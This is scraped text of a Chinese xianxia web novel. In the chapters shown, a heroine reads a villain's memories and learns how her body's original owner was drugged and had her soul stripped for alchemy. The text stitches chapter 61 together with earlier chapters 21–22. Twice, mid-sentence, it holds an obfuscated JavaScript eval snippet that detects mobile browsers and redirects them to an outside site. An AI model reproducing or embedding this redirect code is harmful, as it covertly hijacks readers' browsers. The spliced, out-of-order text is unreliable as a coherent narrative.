结果跑回去才知道,季邕那东西趁着天还没亮的光景就把人的遗体送回了关家,他大哥也是不久前刚得到消息,正准备给他传信。 昨夜李演提出下山一事时已经有些晚了,他压根没想着打扰或许早已睡下的大哥,因此闻逍并不知晓他要下山,闻越抵家时他甚至仍在发愁,该怎么让自己粗心的弟弟快些知道此事。 灵牒一般是一对,兄弟俩各持一块,但闻越习惯了用蝴蝶传信,总会忘记查看衣袖里闪烁不停的玉牌。 闻越听他大哥说完,叹了口气,宽慰道:“无事,我已经用传音术告知师兄了,他应当很快便会下山。” 闻越处理完传信的事,又回到不敢开口的状态,默默看了走在旁边的江却一眼,发觉师兄也没有开口的意思,于是继续闷声往前走。 最终还是关云铮先打破沉默:“季邕在哪?” 闻越来关家就是为了此事,闻言立刻回答道:“殷含绮方才让人给我传口信,说人在她那里。” 关云铮的脚步一顿:“殷含绮?” 闻越颇觉头疼地叹了口气:“一时半会儿我也说不清楚,她让我们处理好关家这边的事后就去找她。” 关云铮语气平淡地“嗯”了一声。 楚悯一直走在她身侧,见她愿意说话应当是心情平复了些,又默默看了她一眼。 关云铮自然没漏掉这一眼,对上楚悯关切的视线后安抚道:“我没事。” 楚悯的声音轻轻的:“可是你难过呀。” 关云铮没说话,实在是有点不知道说什么好。 季邕为什么会虐待关云漪?不,不该这样想,上次下山季邕甚至能用迷药迷晕她,还有什么事是他做不出来的。 事情的关键应该在于,当初到底发生了什么,季邕才会和原身的母亲合谋把原身送上仙山,而在这个过程中鬼灯楼又扮演了什么角色,是否是他们导致了原身的死亡。 还有,原身魂魄残留的生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15175927|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前记忆里,那句“自愿”究竟是对谁说的。她到底又“自愿”做了什么? 闻越带着三人走到一处小院前,终于停下脚步:“季邕在里面。” 关云铮没说话,直接抬手推开门进去了。 闻越又叹了一口气,走在后面一脸苦恼。 走在他身侧的江却开口说了下山后的第一句话:“在担心什么?” 闻越愁眉苦脸:“季邕这东西死一百次都是活该,但是不该死在云崽手上,我不想让云崽沾上人命。” 江却看了眼往里走的关云铮,简短道:“大概不会。” 闻越把院门重新关上,刚想说什么,就看见原本跪着的季邕见了关云铮打算站起来,结果被后者当胸一脚踹回去了。富家公子整天不务正业,身板脆得不堪一击,当下就被踹得在地上滚了一圈,吐了一口血。 闻越咽了一下:“嗯,我估计也不会,大概会弄个半死但留口气。” 其实关云铮没打算杀人。 至少现在没这个打算。一来让季邕就这么痛快地死了太便宜他了,二来,他做过的恶尚未一一揭晓,没准揭开谜底后,会有更多人比关云铮还想让他不得好死。 殷含绮就坐在厅中,见了他们也没起身,只是懒懒地抬了抬手:“我原本想着先行审问一番,但听闻越说你来了,估计你更想亲自问个明白。” 关云铮走入厅中,对她点点头:“多谢姐姐。” 江却不知两人彼此认识,闻言看向闻越。只见闻越露出自家的白菜被猪拱了一般的痛心疾首神色,注意到师兄看过来的视线,还忍不住控诉道:“你看她都骗得云崽叫她姐姐了!” 因为当下的场合不对,闻越连控诉时都把声音压得很低,听着更憋屈了。 江却又好笑又无奈,同样压低声音道:“云崽哪有那么容易被骗。” 楚悯也深以为然地接话:“嗯,云崽自有她的判断。” 闻越不满地撇嘴,随即又注意到江却方才说的称呼,刚想说点什么,关云铮那边已经开始了审问。 **** 其实关云铮正在做的事用审问形容也不太准确,应该叫拷问更为恰当。 因为她根本没“问”。 殷含绮看她走近,递给她一根香:“放心,不是引魂香。但是跟那东西用途差不多,也能看见人的记忆。” 关云铮接过香:“那区别在于?” 殷含绮摇着扇子:“他会非常痛苦,并且能清楚地看到,你都看到了些什么。” 关云铮不疑有他,正准备找个火源把这香点了,殷含绮已经凑上前来,轻轻对着香挥了挥手中的团扇。 那香的顶端瞬间亮起火星,摔在地上的季邕无端抖了一下。 殷含绮示意关云铮拿着那根香,她自己则走到季邕面前,俯身凑近说了句什么。 也不知是她刻意压低了音量还是那语言本就晦涩难明,关云铮就站在她身后,居然完全没听懂。 这个世界的语言和文字体系几乎跟21世纪差不多,虽然多数字是繁体但连在一起总能解释清楚寓意,语言则更为简单,她目前还没遇到过听不到的话。 随着烟雾从香的顶端升起逸散,季邕的神情逐渐变得有些茫然,或许是因为自己的记忆骤然被人掀开有些不解。而很快他的神色就转为愤怒,但他似乎掌控不了此刻的身体,在地上挣扎了许久也没能打断殷含绮对他记忆的读取。 从季邕痛苦的神态来看,或许用“抽取”来形容更为恰当。 关云铮手中的香燃了一半的时候,殷含绮终于直起身,从她那接过香,又对她轻轻挥了挥扇子。 她感觉到一团混乱的东西迎面而来,比彼时心魔引散发出的气息还要令人抗拒。 殷含绮并不意外:“你若是难以忍受,我可以为你读出他的记忆。” 关云铮摇摇头,表示自己尚且可以忍受:“怎么读?” 殷含绮伸出手:“用你自身的灵气触碰即可。” 关云铮于是依言催动灵气,伸出手点了一下那团东西。 磅礴的恶意汹涌而来,像毫不留情的一场巨浪,咆哮着把关云铮吞了下去。 61.第 61 章 “等你过了笄礼,我们便成亲。”季邕对关云筝说道。 二人正一同坐在河边的柳树下,河水卷着几片冬日的枯叶从脚下流过。春日里稀薄的阳光催生了新芽,飘絮之时未至,关云筝垂着眼,正专心编着手上的彩绳:“我不想这么早成亲,此事先前同你说过了。” 季邕有些不快,但没在当下发作,凑她近些问道:“是伯母依旧不赞同吗?” 关云筝指间的动作顿了顿,她抬头短促地看了季邕一眼,而后又专心做自己的事了:“同我母亲无关。” 那同什么有关呢?季邕很想直接这样问她,但他和关云筝相识多年,自然知道对待眼前这位不能操之过急,逼得越紧她便越是沉默,反而问不出自己想听的回答。 于是他耐着性子问:“不嫁人的话,你想做些什么?” 关云筝不答反问:“那若是你不娶妻,又想做些什么?” 季邕没料到她会反问,愣了一会儿才说:“自然是去参加科举,考取功名。” 关云筝编完了手上的彩绳,收好放进随身带着的荷包里,抬起眼看他:“你如今也可去考取功名。” 季邕见她作势要走,连忙伸手抓住她的手腕:“你不想嫁给我吗?” 关云筝没说想,也没说不想,只是用一种平静但很难看懂的眼神看着他。 …… “云漪说她今日在街上遇见你了。”关云筝看向季邕。 季邕坐在她身边,闻言语气如常道:“你妹妹?是遇上了。” 关云筝没说话,只是看着他。 心里有鬼的人是无法顶住直白的注视的,尤其是关云筝这样性格的人,她沉默回避的时间更多,很少这样不加掩饰地用目光烤着他人。 因此季邕没过多久便被她看得不自在,再度开口时的语气也变得奇怪起来:“你总不会是吃醋了吧?我是同她说了几句话,但那可是你妹妹。” 关云筝不搭话,只是依旧用平静的眼神注视着他,直到他被看得逐渐不耐想要为自己辩解时,终于开口道:“季邕。” 如今已是夏初时节,她的语气却冷得像春寒料峭时吹来的风。 “我希望你牢记那是我的妹妹。” …… “令郎日后……怕是……”背着药箱的郎中欲言又止,听懂他弦外之音的季家夫人扑在季邕身上哭泣。 “我儿糊涂啊……你怎么就用了那药呢!那般虎狼的药你怎么就用了呢……” 季邕没骨头似的软在榻上,药效发作的当下他大汗淋漓,此刻体内就像被人抽丝般剥离了所有的精力,哪怕躺在柔软的锦被当中,也无法缓过当时脑海中一瞬的空茫,濒死的感觉几乎咬到他耳后,此刻能安然躺在榻上已是幸事。 只是他此刻过了彼时绝望的劲头,此刻盯着床帏,心中骤然生出一股强烈的恨意来。 那么多人用了都只是助兴,凭什么他用就落得这个下场? 儿子半晌都没个反应,季家夫人被吓坏了,哆哆嗦嗦地看向一边的郎中:“大夫,我儿这是怎么了……” 大夫面露难色,张口欲言时,榻上的人开口了:“仙门的丹修呢?可有药能医治?” …… 仙门只救修道者,不救凡人。 季邕在数次求仙问药无果后,终于想起这世上不只仙门有丹修。 而镜溪城便有鬼灯楼。 **** “师兄。”闻越皱起眉头,“你觉不觉得云崽有点不对劲?” 江却还没回答,另一侧的楚悯已经和闻越对上视线,都在彼此眼中看到了惊疑不定的神色,楚悯倍感不妙,一边朝厅中走一边快速地在手中起卦,正要走到关云铮身后时,就见她突然浑身一颤,像被谁卸了周身气力,痛苦地弯下腰,像是要向前摔落。 楚悯吓了一跳,卦阵也顾不上看了,一把托住她的肘弯。 闻越急忙架住了另一边,低头看过去:“云崽?云崽你没事吧?” 关云铮没说话,楚悯无端心惊肉跳,拂开她垂在脸侧的碎发时看见她眉心发红,像是有什么印记要从皮肤下方破土而出。 一直站在关云铮前方的殷含绮也在凑近观察后皱起眉头:“心魔引?” 说起心魔引闻越就来气,哪怕始终知道殷含绮和鬼灯楼多数人不是一条心,此刻也忍不住迁怒道:“还不是你们门派里的狗东西,给她种下了心魔引。” 殷含绮向来独来独往,因此她从来不接受带“你们”二字的指控,听了这话反倒笑起来:“你怎么就敢确定她如今痛苦的模样都是因为心魔引?” 原本已经在地上蜷缩起来,呓语不停的季邕此刻停下了动作,虽然口中依旧喃喃自语着什么,但加诸他身上的记忆抽取显然已经结束了。江却从关云铮手中拿走那根燃了一半的香,看向一边的殷含绮:“此香当真对使用者无害?” 殷含绮收起脸上的笑意,手中的团扇也变为一团红光被她拢进掌心消失不见:“当然,我不会害她。” 江却示意楚悯松手,他和闻越一起把关云铮扶到一边的椅子上坐下:“我们如何能信你?” 殷含绮神色平淡:“我不需要你们信我,她现在应该是被别的东西影响,陷进了另一段记忆里。至于那东西究竟是什么,我也看不出来,总之不是心魔引。” 闻越追问道:“确定并非心魔引?” 殷含绮耐性告罄,往旁边的椅子上一坐:“你不都说了是我们门派给她种的,我自然见过许多真正受心魔引影响的人是何种模样。” 她眉心的印记都没显现出来,只是发红,说明是识海翻涌影响到了存在其间的心魔引,而非心魔引躁动让她有走火入魔的风险。 至于为何会识海翻涌…… 楚悯终于能分出心神看一眼手心的卦象,却在看完后再次皱起眉头:“我……没算出来。” 闻越疑心自己听错了:“没算出来?” 楚悯重新起了一卦,片刻后看着手心的卦象,眉心锁得更紧:“问不出,好像受到了阻拦。” 江却比闻越要冷静许多:“之前发生过吗?” 楚悯摇摇头,正打算重新起一卦,闻越急道:“算不出来就别算了!云崽要是醒着,也不想看你短时间起这么多次卦。” 楚悯抿了抿嘴,虽然心里清楚闻越此刻说的是事实,云崽醒来后如果知道她偷偷起了两卦,一定会生她的气,但天问本性如此,遇到无法掌控的事总会下意识地寻求最驾轻就熟的技艺,哪怕算不出结果,在起卦的那一刻就能得到稀薄的一点安慰。 她正打算再起一卦,瘫坐在椅子上的人忽然连着咳了好几声,有气无力道:“好啊,趁我昏迷不醒偷偷问是吧?” **** 虽然不知道天问掌门是如何在没有亲手把将隐交到她手里的情况下,让将隐与她建立联系的,但昨日发生的事情让关云铮笃定了此物一定与她某些时候的思维能力脱不开关系,于是在针对它的讨论告一段落后,就把这小玩意儿揣进了随身的乾坤袋里。 谢天谢地。 还好她把这东西揣在身上,不然她都没法在读取季邕记忆的时候,看见关云筝的记忆。 不知道将隐是从哪接入的,它分明好端端地待在她的乾坤袋里,但就在季邕的记忆进展到他和鬼灯楼建立合作,打算把关云筝的生魂献给鬼灯楼,而后者会给予他应得的报酬时,关云铮听见了将隐轮盘飞速转动的声音。 最底下的轮盘连续转动几十圈原来是这种声音,闷闷的,沉沉的……她几乎听不见另外两个轮盘转动的声音了。 季邕在记忆中算计着他的“未婚妻”,将隐在记忆之外飞速地转动着,不,应该说,回溯着。 然后在某个瞬间,“嗒”一声轻响,将隐停止了转动,她的视角骤然从俯瞰季邕的上帝视角,变成了关云筝的第一人称视角。 这种感觉她很熟悉,因为从来到这个世界开始,每分每秒她都处在这样的视角里。 只不过这段记忆里她是个真正的看客,而这具躯体属于它原本的主人。 **** “你喜欢季邕?”关云筝看向关云漪,微微皱起眉。 原本还在侃侃而谈自己与季家公子在街头偶遇的妹妹突兀地停下话茬,不安与不虞在她脸上交织着出现,片刻后才小心翼翼地开口说道:“姐姐,我不是那个意思……你是他的未婚妻,此事我知道的。” 关云筝摇了摇头,表示自己问话的重点并不在此:“我并不想嫁他,若是你当真喜欢,可以去问问母亲的意思。” 关云漪不大高兴地扯着自己衣摆的布料:“你同季家公子的婚约都定下好些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15190893|159306||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 年了,怎么改得。” 关云筝叹了口气,又把荷包里的彩绳拿出来递给关云漪:“季邕此人……并不如你所见那般。” 关云漪是个从小听好话长大的主,听不得一点逆耳忠言,此刻听了这句立时便觉得关云筝是意有所指,不满道:“姐姐倒是说说,他哪点与表露出来的不同了?” 关云筝把荷包收好:“你知道他每月都要去上至少两三次青楼吗?” 关云漪愣住:“什,什么?” 关云筝神色平淡地笑了笑,没再多说,起身走了。 …… 季邕把他用药过激不中用这件事瞒得很好,关云筝起初也没得知。 但奈何她太了解他了,从他平日说话逐渐变得不加掩饰的暴躁,谈起婚嫁话题时更加偏激的态度,以及……若有若无地提起邪修的语句中,都窥见了一丝不对劲的痕迹。 鬼灯楼这个门派关云筝听说过,毕竟此门其中一位掌司恰好是镜溪人士,常年驻扎在此。 但她毕竟只是个闺阁女子,所识有限,对仙门邪道这些门派没有太多认知,也就没能在第一时间了解到,鬼灯楼其实有相当一部分人,是借活人之物炼丹的丹修。 而等她得知此事时已经来不及了。 …… 活着的时候被生生剥离魂魄是什么感觉? 关云筝很想同人说说那种仿佛千百根针一齐扎进骨髓的感觉,又或是如同千百把尖刀扎进血肉后一刻不停搅动的痛楚……可惜剥离魂魄的那一瞬间她就在某种意义上真正地“死了”,再也无法张口说话了。 鬼灯楼的丹修不做囤积的生意,从来都是有人指名要某种丹药才会开始炼制,并且总会要求出钱的人自己提供丹药的“原材料”。 季邕要的药制作起来并不难,只需要未经人事女子的气血或是精魂。 但是丹修没说要多少,于是季邕给关云筝下了足以放倒一位成年壮汉的蒙汗药,把她带到了丹修的面前。 她不是没有防备,但是只要季邕对自己的母亲说上几句好话,她就会被母亲笑着推出家门,然后打发乞丐似的,往她手里塞一块包裹了碎银子的帕子。 母亲把她当做重振家业的筹码,当做讨好季家的工具,唯独不把她当做一个可能并不想嫁人的女儿。 而她此刻唯一的倚仗便是这座宅子,一旦被她的母亲亲手推出来,就没有了任何自保的可能。 关云筝是活活痛醒的。 手腕似乎被割开了,血正在缓缓往外流,有没听过的声音在同季邕交谈,但或许是血流得太多了,她耳边一直有瀑布似的水声,嗡嗡响个不停。 “其实用不着整个人都送过来,不过是要一点她的血。” “麻烦你们炼丹,当然要拿出点诚意。” “她不是同你有婚约吗?怎么,不做数了?” “大不了改为娶她妹妹,她们家怕是乐见其成。” “这个和她妹妹不是亲生的?” “亲生,怎么不是亲生。” “那怎么舍得?你就这么随便弄死了,她娘不伤心?” “她娘?她娘要是会伤心又怎么会让她嫁我?再说了,她妹妹如今可是盼着嫁与我呢。” “哈哈哈哈,说的也是。既然你这般有诚意,那我们索性把她的生魂也取出来了。” “生魂?是要做什么?” “修炼啊,还能做什么?我们邪修不就是拿人修炼吗?被活剥出来的生魂怨念更强大,效用也更强,做成引魂香更是可以引渡更多的生魂……” “引魂香又是何物?” “你怎么问那么多?还不走?不怕被人发现你谋杀未婚妻了?” “这就走这就走,多谢各位仙长的丹药。” “这小子还管我们叫仙长,哈哈哈哈……” 关云筝缓缓地眨了眨眼睛。 原来这就是邪修。 这样看来,做个邪修是不是也挺好的。 她想要牵起嘴角笑一下,却发现自己有些感觉不到躯体所在了。 或许是蒙汗药的药效还没退,她居然觉得迎接死亡的过程异常平和,平和到她觉得自己只是困意上涌,忍不住想要睡一觉。 而就在她打算闭上眼睛的时候,她听见一个声音问她:“你想要救你自己吗?” 20-30 第21章 关云铮在一阵尖锐的耳鸣声中醒来。 脑袋两侧像是有两个不分轻重的力在施压, 太阳穴的感觉则更像是有电钻想给她的脑壳打个洞。沉重的黑暗压在她眼睛上,她短暂地睁不开眼,稍微一动眼球就感受到一种牵扯般的疼痛, 像是眼压过高的症状。眼皮像是脱离神经掌控, 不受控制地狂跳不止,比之前食指抽动的频率高得多。 她干脆一动不动地躺着, 顶着阵痛强烈的脑子思考:她是昏过去了还是怎么了, 昏过去之前见到的那个人好像说他叫江却? 那就是一直在闭关没见过面的大师兄了? 昏迷之前听到的那些声音…… 应该是大师兄出剑把那三个邪修杀了,又把剑放下的声音? 好像一句遗言都没听到,邪修就命丧黄泉了。 还是没搞清楚原身究竟是为什么会落入邪修之手,也没搞清楚邪修们为什么不销毁香炉而是转手出售。 到底有什么阴谋呢…… 关云铮头痛欲裂,猛地坐起身。 睡不着的最佳应对方式就是不睡! 她暴躁地揉了几下太阳穴,又按着眼皮强行把眼睛睁开。 一团红雾飘在她眼前, 见到她睁眼,在空中缓缓变换着形状, 像是要凝聚在一起。 坦白说这一瞬间关云铮被吓得离飚出国粹就差那么一点。 什么东西??? 关云铮用尽毕生涵养把自己即将脱口而出的话咽下去。 “你醒了。”那团红雾开口了。声音非男非女,符合影视剧中对魔物的刻板印象, 一听就不是什么好东西。 或者也不是它开的口, 但关云铮环视了一圈,发现自己在一个纯白的空间里,整个空间除了自己似乎只剩下这一团东西了。 她没开口, 那只能是雾在说话了。 多新鲜呐。 关云铮面无表情地想。 “你不好奇我是什么吗?没有什么话想问我吗?”那团红雾在她面前缓慢移动着。 关云铮仔细端详了一会儿, 发现红雾里似乎有什么东西格外地亮,偶尔还闪一下,红光直晃眼。 关云铮闭了闭眼:“你有别的颜色吗?我看你看得眼睛疼。” 红雾似乎凝固了一瞬间。 它再度开口时听着咬牙切齿的:“你到底是哪个门派的弟子?” 关云铮感觉自己的脾气在逐渐变坏,准确地说在逐渐变回原来的样子,而不是这几天刚来到修仙世界, 人生地不熟的时候拘谨的心理状态。 因此她看也没看那团东西,语气平淡地回答:“关你屁事。” 话音落下,空间里安静了一会儿。 关云铮突然感觉眉心尖锐地痛起来,不得不伸手按住那一块像是要挣脱这具躯体的皮肤。 “我奉劝你,小丫头,对我客气一点,毕竟未来你还要和我共处很多年。”那团红雾不再移动了,而是以中心的那个发光亮点为核,逐渐汇聚起来,在不得不抬起头看它的关云铮面前,凝成了一枚种子似的东西。 “也没见你对我客气多少,倒要求起我来了。”关云铮冷笑一声,说道。 脾气不好的时候惹不起的东西也照惹的,不好意思。 “我屈尊在你这具还没引气入体的躯体里扎根,你的识海甚至一片空白,我还没待过这么差的地方。”“种子”继续说道。 “我求你来了?你自己被人拿捏,没法反抗,还怪我不争气?你这么厉害有本事出去啊。”关云铮索性放下手了,反正按着眉心也没法缓解半分疼痛,“说完了吗,说完麻烦闭上嘴。” “啊,我看见了,原来是归墟的弟子,苍生道,哪里来的小破门派?以天下苍生为己任?不愧是你们名门正派,把愚蠢当正义。”“种子”颇感兴趣地说道。 关云铮毫无反应,寡淡的面部表情没有产生任何变化。 “引气入体虽然没学会,经历倒是称得上精彩,只是——”“种子”吊人胃口似的拉长声音,“这具身体原本的主人知道,你顶着她的身体做了这些事吗?” 被人窥探毫无疑问是一件令人恼怒的事,但关云铮此刻却没有太多反应。可能是因为痛觉使她分不出太多精力来表达愤怒,也可能是她始终觉得自己问心无愧。 非要论负罪感的话,那也仅仅是对原身,她所有的愧疚、所有无法说出口的秘密,都是她和原身两个人之间的事。他人的窥探和自以为是的戳破,实际无法触及这些问题的根源。 也就无从愧疚。 “你想说什么,别搞迂回那一套了。”关云铮直截了当地说道。 “种子”贴近她,在她眼前悬停:“有意思……居然有我没见过的东西。” 废话,我现代人。 “你觉得你死后,你的母亲会为你感到悲伤,还是会愤怒呢?”“种子”轻飘飘地问道。 关云铮非常短暂地皱了一下眉,那点变化很轻微,但“种子”还是捕捉到了,像是被鼓舞一般,话语变得更低更密:“她是会反思自己对你做过的一切,还是指责你是个不孝的女儿呢?” 那一瞬的松动像是“种子”的幻觉,因为它听见关云铮毫无波澜的声音回答道:“不重要了,我已经死了。” 她的母亲是会在得知她死讯的那一刻崩溃大哭,还是会在得知她死于熬夜后恨铁不成钢,这些都不重要了。 她活着的时候没有和她互相理解过,死了就更没有这个可能了。 “那你的朋友们呢?她们一定很难过吧?”“种子”继续诱导般地说道。 关云铮很慢地眨了一下眼睛,像是难以忍受疼痛时的不自觉反应。 “种子”在空中不太明显地上下浮动着,关云铮却没有在这个问题上给出任何回答。 “你……想要邪修死吗?”“种子”声音很低地问道。 关云铮像是已经和疼痛和谐相处了一样,听见这个问题甚至笑出声了:“你好像很想看见我崩溃,你是那个邪修给我种的心魔吗?” **** 闻越在小院里来回踱步,连映被他晃得眼晕,终于在他第三十四次经过自己面前时,伸手把人摁住了。 江却在连映旁边站着,旁边的石桌上放着两把剑。 一把是抱回关云铮后去找回来的摇羽,一把是他自己的配剑,破钧。 在这之前,关云铮就已经在房间里躺了一夜了,至今没有苏醒过来的迹象。早晨连映进去帮她擦脸的时候,甚至发现她整个人都热得滚烫,赶紧把刚出发去找步雁山的章存舒又喊了回来。 房门上下了禁制,江却一刻钟前试着去推了推,纹丝不动。 “师兄不是把那几个邪修都解决了吗,云崽怎么好像还是受影响了?”闻越刚送走那一大群蝴蝶,从蝴蝶带来的消息里得知江却刚落地就把三个邪修都杀了,邪修应该还没做什么才对。 连映摇摇头,看向江却。 江却昨晚把关云铮抱回归墟的时候,后者就已经昏过去了,只是当时章存舒也看过,发觉种种迹象都很平稳,不像是昏迷更像是因为过度疲累睡着了。 怎么一夜过去反倒烧起来了? 哪怕发烧也不是这样的规律。 江却正打算开口,任嵩华的声音在三人上空响起:“苍生道可有异常?” 三人抬头,发现任嵩华御着剑就从来去峰上下来了。 从没见过她在门中御剑,江却皱眉:“来去峰出什么事了?” 任嵩华落地收剑,看了紧闭的房门一眼,随即又看向江却:“不能确认。” 不清楚关云铮现在的状况,闻越本来就着急,听任嵩华说的这话更是觉得事态好像有点严重起来了。 来去峰上能让任嵩华御剑下来的事还能有什么? 除了不熄鼎闻越想不到别的了。 但是不熄鼎的问题和苍生道有什么关系?而且看任嵩华的意思,似乎还是跟关云铮有关系? 闻越其实一直有点怵任嵩华,虽然他从没见过任嵩华动手,但是闭关之前的江却说过,他打不过任嵩华。 江却是不是因为这件事而选择闭关,他不知道,他只知道这几年仙门式微之后,已经很少有人会修无情道了。 具体原因他没有特意了解过,只知道无情道的修士特别容易中途道心破碎,继而走火入魔,又因为无情道的弟子往往都是同届中最拔尖的,所以每一次无情道弟子出点什么事就闹得格外大,久而久之修仙的就都不太敢修无情道了。 纯粹的强大固然令人心驰神往,但没人敢赌自己会不会是那朵只开短暂一瞬的昙花。 更别说有些人可能穷尽一生都开不出花。 但眼前的这位任师姐,除了是归墟这些年来唯一一个无情道以外,还是目前归墟弟子中辈分最大的。 来去峰那处小院落成了多久,她就在那个山头修了多久的无情道。不仅没疯没傻,还强得可怕。 虽然心里发怵,但闻越很想问问任嵩华的话是什么意思,犹豫了一会儿正要开口,身后的房门开了。 他顿时顾不上刚才想的问题,转过身看向走出门的章存舒:“师父!” 江却和连映也一起看过去。 章存舒先拍了拍闻越的肩头以作安抚,再转头看向站在院中的任嵩华:“是掌门让你过来的?” 任嵩华摇头:“不熄鼎有异动。” 章存舒似乎不太惊讶,也看不出惊慌,点了点头:“云崽应该快醒了,你们可以进去看看。” 闻越嗖的一下就进去了。 章存舒笑着叹了口气,嘱咐走在后面的连映:“轻点说话,她现在可能听不得太响的声音。” 连映点头应下,也进门去了。 章存舒看向江却:“阿却。” 江却看了眼开着的房门:“师父,云铮她……” 章存舒从台阶上走下来,欣慰般地拍了拍江却的肩膀:“做得好,她现在暂时没事了,我去找掌门一趟,你们在这陪她吧。” 江却见章存舒不打算多说的样子,点头收声,也进房间去了。 任嵩华跟上章存舒的步伐:“先生。” 章存舒“嗯”了声,没有主动开口的意思。 “云铮与不熄鼎之间为何有关联?”任嵩华问道。 章存舒似乎是笑,又似乎是叹,轻声说道:“是啊,我正要去问她。” **** 关云铮本来还想再骂两句心魔引,一片空白的识海忽然间响起了奇怪的声音。 像是……潮水声。 她在21世纪的时候没见过海,但是没少在期末月或者睡不着的时候翻白噪音来听,对潮水声还算比较熟悉。 但识海里的声音听着又不跟潮水声完全一样。 心魔引显然也听见了那个声音,原本被她激怒正骂骂咧咧,突兀地停顿了一下才又说道:“你引气入体了?” 语气很匪夷所思。 关云铮比它还匪夷所思:“谁?我?我引气入体了?” 惊呆了。 心魔引忽然安静下去,好半天都没再说话。 只剩下潮水声在一片空白的识海中兀自响着。 不知道是不是因为适应了眉心的疼痛,又或者它真的在逐渐减轻,关云铮现在几乎没什么感觉了,还能换个舒服点的坐姿。 心魔引也暂时老实了,要不干脆躺下好了。 关云铮习惯性摆烂,根本没把心魔引那句她已经引气入体的话放在心上,正准备美滋滋躺下。 一种暖洋洋的感觉擦过她鼻尖。 关云铮动作一顿,右手下意识往后一撑,要躺下的动作不上不下地卡在半路。 眼前似乎有什么东西在闪。 她下意识伸出左手。 先是指尖触碰到了那种暖洋洋的感觉,接着是整个手掌—— 一团金色的光在她掌心亮了起来。 **** “她眼睛是不是动了?”闻越不敢放过关云铮任何一点动静。 江却伸手把人拉开点距离:“别靠那么近,醒来会受惊吓。” 闻越老实退回来一点。 连映给关云铮掖了掖被角,又伸手摸了一下她的额头:“不热了。” 闻越扒在床脚的架子上眼巴巴地看着。 或许是三双眼睛一起的注视太过殷切,关云铮终于在片刻之后醒来。 她先是动了动手,做了一个虚空抓握的动作,随即缓慢地睁开了眼睛。 江却敏锐地意识到有哪里不对,连映已经开口:“醒啦?” 关云铮眨了眨眼,把自己撑起来:“师姐。” 又看看床脚可怜巴巴的闻越,弯弯眼睛:“三师兄。” 再看向连映身后的江却:“大师兄。” 虽然叫的顺序有先后,但在心中的排名不分先后。关云铮习惯性又在心里给自己叠甲。 挨个叫完后,关云铮美滋滋地开口道:“我要宣布一个好消息!” 连映给她拉了拉被子:“什么好消息?” “我终于引气入体啦!”—— 作者有话说:感谢ww 第22章 关云铮高高兴兴地宣布完好消息, 立马又“哎哟”一声,捂了捂自己的耳朵,变为小声嘟囔:“我刚声音这么大吗, 怎么震得我耳朵疼。” 嘟囔完了一抬头, 发现床脚的闻越急得扑到面前来了,凑上来左看看右看看, 小声问她:“那几个邪修没伤害你吧?身上有伤吗?” 关云铮认真思考了一下, 打算伸出自己的手腕诉个苦,结果一低头发现手腕上几乎看不出什么被绑过的痕迹了:“咦?” 连映在旁边解答疑惑:“应该是师父上了药。” 喔,好神奇的药,居然这么快就一点痕迹都没有了。 被闻越过于殷切的关心目光看着,她又思考了一下自己身上还有没有别的问题,片刻后小声说:“有个邪修好像给我下了个心魔引。” “什……!”闻越差点跳起来, 脱口而出后猛地意识到声音太响,忙不迭又是给关云铮捂耳朵又是收敛音量, “你怎么确定是心魔引的?” 关云铮眨两下眼睛:“心魔引自己告诉我的。” 床边三人陷入沉默。 片刻后,闻越小心翼翼地开口:“师父……知道吗?” 连映摸了摸关云铮的手背, 发现不烧了之后有点凉, 又给她塞回被窝里:“应该知道。” 关云铮后知后觉地意识到不对劲,也变得小心翼翼的:“我不会是因为心魔引才能引气入体吧?” 这种事情不要啊。成就感都没了呜呜。 “那你大可放心。”章存舒的声音从外面传来。 师门四个一起扭头。 章存舒似乎是被眼前这一幕逗笑了:“之前总觉得差点什么,阿却出关后看着舒服多了。”他说着在屋里的椅子上坐下, “还是人齐了顺心。” 江却先开口, 截断他继续跑偏的可能:“方才您说可以放心?” 章存舒点头:“云崽发热也是因为引气入体,我探查过,心魔引暂时没翻出什么水花。” 闻越还是有点顾虑:“为什么没翻出水花?而且怎么是暂时?” 关云铮悄悄从被窝里伸出一只手,安抚地拍拍紧张的三师兄。 章存舒也很好奇的模样:“那得问问云崽。” 于是四双眼睛又看向关云铮。 “嗯……总不会是因为,它骂不过我?”关云铮有点心虚, 默默缩进被窝,只剩下一双眼睛露在外面。 师门再次集体陷入沉默。 片刻后章存舒率先没撑住,笑出了声:“也不是没有这种可能。” 闻越已经惊呆了,喃喃道:“心魔引原来这么欺软怕硬的吗?” 关云铮又从被窝里把嘴解放出来,不然呼出的潮气快把被子熏湿了:“不过也有可能是它现在力量不够,又说不动我,所以暂时不能把我怎么样。” “说不动你?”连映微微皱眉。 关云铮思考了一下要不要把对话内容,不是,对骂内容说出来,章存舒已经从椅子上站起身:“所以为求稳妥,我得给心魔引下个封印。” 关云铮“喔”了声,在被窝里乖乖仰起脸,露出眉心。 这下江却都没绷住,扭过头去低声笑了。 连映更是直接伸手捏了一下她的脸:“真可爱。” **** 给心魔引下完封印,师父带着师兄和师姐走了,关云铮坐在被窝里思考今天的日程:上午的课上不了了,下午的课——关云铮伸长胳膊翻了翻放在枕边的课表——蒲飞鸢的课。 离开了两天半,应该还没错过御剑飞行吧? 不是,等会儿,什么时候有课表这种东西了?是不是偷偷内涵她老不上课! 好吧她确实老不上课,明涵了这是。 